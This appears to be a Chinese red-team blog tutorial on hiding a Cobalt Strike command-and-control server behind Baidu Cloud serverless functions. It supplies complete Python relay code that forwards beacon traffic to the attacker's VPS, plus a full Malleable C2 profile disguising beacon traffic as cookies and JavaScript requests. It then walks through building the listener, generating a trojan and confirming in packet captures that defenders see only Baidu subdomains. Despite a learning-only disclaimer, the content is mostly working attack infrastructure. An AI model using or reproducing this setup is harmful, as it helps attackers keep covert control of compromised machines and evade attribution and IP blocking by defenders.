本文提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;

本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除

在云厂商提供函数服务以后,基本上云函数都会被标记(封掉),所以对于安全防御做的特别好的单位用处基本不大;

以前可以使用腾讯云的云函数,但是下架了API网关触发的功能;然后华为云的函数服务小编也试了一下,貌似API触发器也g了,所以这里用百度云的云函数进行讲解。

一、云函数介绍

  • 云函数是一种无服务器(Serverless)计算服务,开发者只需上传代码并设置触发条件,云平台负责自动分配资源、执行代码并按需收费。其核心特点是事件驱动和无服务器架构,用户无需管理底层服务器、操作系统或运维资源。

  • 原理

  • 事件触发:云函数通过事件(如HTTP请求、文件上传、数据库变更等)触发执行,用户预先将代码部署到云平台,并绑定事件源(如API网关、对象存储、消息队列等)。

  • 资源分配:当事件发生时,云平台动态分配计算资源(如容器实例)加载代码运行,执行完毕后立即释放资源,避免闲置成本。

  • 自动扩缩容:高并发时云函数自动复制多个实例并行处理请求,流量下降时自动缩减实例,实现弹性伸缩。

  • 按需计费:根据实际执行的代码时长和内存消耗计费,而非预付费或固定服务器成本。

二、云函数在红队中的运用

  • 云函数可以用于攻击防溯源,隐匿自己的C2的ip,从蓝队的角度来讲,会看到一个主机的联网行为会非常奇怪,这个主机会跟多个节点有反向连接,但节点是代理池的表现形式(比如多个ip,或者说是一个主域名的多个子域名);

  • 从红队角度来讲就是隐藏,类似于域前置,相当于被攻击者控制的那台主机,通过代理池的表现形式(多节点)的方式回到了C2某个端口上;

  • 也就是说可以利用云厂商提供的云函数功能,将客户端的请求进行转发,并且由于云函数拥有非常多的出口IP,所以一定程度上可以减小IP被封禁的影响,也能隐藏攻击者的源IP。

  • 流量走向

三、通过云函数搭建代理池,隐藏C2地址(百度云举例)

  • 登录百度云,使用函数计算服务

  • 创建函数-->空白函数

  • 填写基础信息(选择Python3.6)

  • 触发器设置:选择http触发器、URL路径填写{path+},HTTP方法全选,然后点提交

  • 点击进入代码编辑页

  • 输入以下代码然后保存

# -*- coding: utf-8 -*-
 
# def handler(event, context): 
#     return "Hello World"
import json,requests,base64
def handler(event, context):
    C2='https://VPS地址(C2服务端):443'# 这里可以使用 HTTP、HTTPS~下角标~
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False)
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
    print(resp.headers)
    print(resp.content)
    response={
    "isBase64Encoded": True,
    "statusCode": resp.status_code,
    "headers": dict(resp.headers),
    "body": str(base64.b64encode(resp.content))[2:-1]
    }
    #return event
    return response

  • 在CS客户端所在目录放置profile文件,并且启动时调用该profile文件需要做以下修改(模板文件网上大把)

  • 文件内容如下

http-get {
 
  set uri "/api/x";
 
  client {
      header "Accept" "*/*";
      metadata {
          base64;
          prepend "SESSIONID=";
          header "Cookie";
      }
  }
 
  server {
      header "Content-Type" "application/ocsp-response";
      header "content-transfer-encoding" "binary";
      header "Server" "Nodejs";
      output {
          base64;
          print;
      }
  }
}
http-stager {
  set uri_x86 "/vue.min.js";
  set uri_x64 "/bootstrap-2.min.js";
}
http-post {
  set uri "/api/y";
  client {
      header "Accept" "*/*";
      id {
          base64;
          prepend "JSESSION=";
          header "Cookie";
      }
      output {
          base64;
          print;
      }
  }
 
  server {
      header "Content-Type" "application/ocsp-response";
      header "content-transfer-encoding" "binary";
      header "Connection" "keep-alive";
      output {
          base64;
          print;
      }
  }
}

  • 创建监听器

  • HTTP地址在触发器这里输入云函数提供的域名(要把https://去掉,还要把末尾的/{path+}也去掉)

  • 注意:这里的Beacon类型和端口号要和前面云函数代码规定的C2='https://VPS地址(C2服务端):443'保持一致(此时为https协议,443端口)

  • 此时生成木马,在测试机上执行上线

  • 然后在测试机上通过wireshark抓取流量,由于恶意木马会从受害者本地解析云函数地址,因此DNS流量中可以看到云函数地址为百度的子域名而不是攻击者的ip

  • 在科来分析工具上也能看到识别的不是攻击者VPS的ip